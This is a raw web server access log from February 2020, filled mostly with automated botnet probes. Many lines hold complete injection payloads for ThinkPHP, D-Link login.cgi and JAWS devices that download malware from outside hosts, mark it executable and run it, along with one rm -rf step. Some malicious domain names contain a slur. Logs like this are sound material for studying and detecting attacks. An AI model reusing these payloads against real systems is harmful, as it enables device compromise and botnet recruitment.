37.151.174.148 - - [11/Feb/2020:00:15:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.154.121 - - [11/Feb/2020:00:17:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.26.96 - - [11/Feb/2020:00:22:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.28.111.56 - - [11/Feb/2020:00:25:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
176.215.254.147 - - [11/Feb/2020:00:26:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.48.99.58 - - [11/Feb/2020:00:29:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.85.91.19 - - [11/Feb/2020:00:31:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.235.179 - - [11/Feb/2020:00:36:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.134 - - [11/Feb/2020:00:36:18 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
178.94.26.68 - - [11/Feb/2020:00:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
175.112.192.120 - - [11/Feb/2020:00:40:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.160.174.25 - - [11/Feb/2020:00:41:29 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.34.176.82 - - [11/Feb/2020:00:41:31 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
180.95.231.219 - - [11/Feb/2020:00:41:32 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.90.49.3 - - [11/Feb/2020:00:41:32 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
27.224.137.151 - - [11/Feb/2020:00:41:33 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
117.13.171.212 - - [11/Feb/2020:00:41:33 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
175.184.165.161 - - [11/Feb/2020:00:41:33 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.212.14.69 - - [11/Feb/2020:00:41:34 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
121.57.11.7 - - [11/Feb/2020:00:41:34 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.36.135.218 - - [11/Feb/2020:00:41:36 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
31.42.3.76 - - [11/Feb/2020:00:43:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.241.106.153 - - [11/Feb/2020:00:49:45 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
119.196.108.183 - - [11/Feb/2020:00:51:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [11/Feb/2020:00:53:39 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
118.69.64.250 - - [11/Feb/2020:00:55:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.52.72.194 - - [11/Feb/2020:00:59:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:17 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:17 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:17 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:18 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:18 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:19 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:19 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.72.194 - - [11/Feb/2020:00:59:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.115.193.10 - - [11/Feb/2020:01:12:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.85.7.186 - - [11/Feb/2020:01:12:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
191.100.9.127 - - [11/Feb/2020:01:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.52.241.106 - - [11/Feb/2020:01:15:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.59.40 - - [11/Feb/2020:01:18:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [11/Feb/2020:01:20:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
60.52.95.171 - - [11/Feb/2020:01:23:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.233.123.6 - - [11/Feb/2020:01:25:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
66.240.205.34 - - [11/Feb/2020:01:30:31 +0100] "Gh0st\xad" 501 321 "-" "-"
113.22.59.223 - - [11/Feb/2020:01:31:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.162.144.56 - - [11/Feb/2020:01:40:33 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
109.111.132.239 - - [11/Feb/2020:01:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.56.78.64 - - [11/Feb/2020:01:46:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
49.68.246.198 - - [11/Feb/2020:01:46:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
169.197.108.38 - - [11/Feb/2020:01:48:12 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
113.23.116.19 - - [11/Feb/2020:01:51:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.7.155.141 - - [11/Feb/2020:01:53:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:01:53:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
173.76.38.236 - - [11/Feb/2020:01:53:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.125.72.125 - - [11/Feb/2020:01:56:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.21.209.12 - - [11/Feb/2020:01:59:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
119.159.151.14 - - [11/Feb/2020:01:59:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.130.4 - - [11/Feb/2020:02:01:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.126.142 - - [11/Feb/2020:02:02:41 +0100] "GET / HTTP/1.1" 200 1229 "https://zvuker.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [11/Feb/2020:02:02:41 +0100] "GET / HTTP/1.1" 200 1229 "https://zvuker.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [11/Feb/2020:02:02:41 +0100] "GET / HTTP/1.1" 200 1229 "https://zvuker.net/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
83.219.136.231 - - [11/Feb/2020:02:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.55.28.6 - - [11/Feb/2020:02:05:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.76.42.78 - - [11/Feb/2020:02:06:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.56.78.64 - - [11/Feb/2020:02:11:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
49.68.246.198 - - [11/Feb/2020:02:14:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
191.205.208.53 - - [11/Feb/2020:02:15:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
191.205.208.53 - - [11/Feb/2020:02:15:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
223.97.195.174 - - [11/Feb/2020:02:15:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.71.229.115 - - [11/Feb/2020:02:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.47.222.3 - - [11/Feb/2020:02:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.119.88.160 - - [11/Feb/2020:02:25:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.210.188.240 - - [11/Feb/2020:02:25:32 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
62.210.188.240 - - [11/Feb/2020:02:25:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
136.32.84.131 - - [11/Feb/2020:02:27:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.93.181 - - [11/Feb/2020:02:30:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.23.17.205 - - [11/Feb/2020:02:34:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
131.196.8.254 - - [11/Feb/2020:02:35:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.114.192.235 - - [11/Feb/2020:02:40:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
85.105.245.170 - - [11/Feb/2020:02:40:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.26.96 - - [11/Feb/2020:02:41:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.160.50 - - [11/Feb/2020:02:42:10 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [11/Feb/2020:02:42:10 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [11/Feb/2020:02:42:10 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
148.71.44.68 - - [11/Feb/2020:02:43:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.60.123.74 - - [11/Feb/2020:02:44:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.1.63.235 - - [11/Feb/2020:02:45:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.99.124.57 - - [11/Feb/2020:02:48:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
193.90.162.23 - - [11/Feb/2020:02:49:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
148.71.44.68 - - [11/Feb/2020:02:49:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.146.203.122 - - [11/Feb/2020:02:52:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.235.93.164 - - [11/Feb/2020:02:53:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
188.138.75.107 - - [11/Feb/2020:02:54:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [11/Feb/2020:02:54:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [11/Feb/2020:02:54:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [11/Feb/2020:02:54:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
78.187.174.237 - - [11/Feb/2020:02:57:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
100.38.236.91 - - [11/Feb/2020:02:58:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.164.35.72 - - [11/Feb/2020:03:03:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [11/Feb/2020:03:03:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [11/Feb/2020:03:03:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.105.150.128 - - [11/Feb/2020:03:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.164.35.72 - - [11/Feb/2020:03:04:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.118.126.142 - - [11/Feb/2020:03:09:08 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
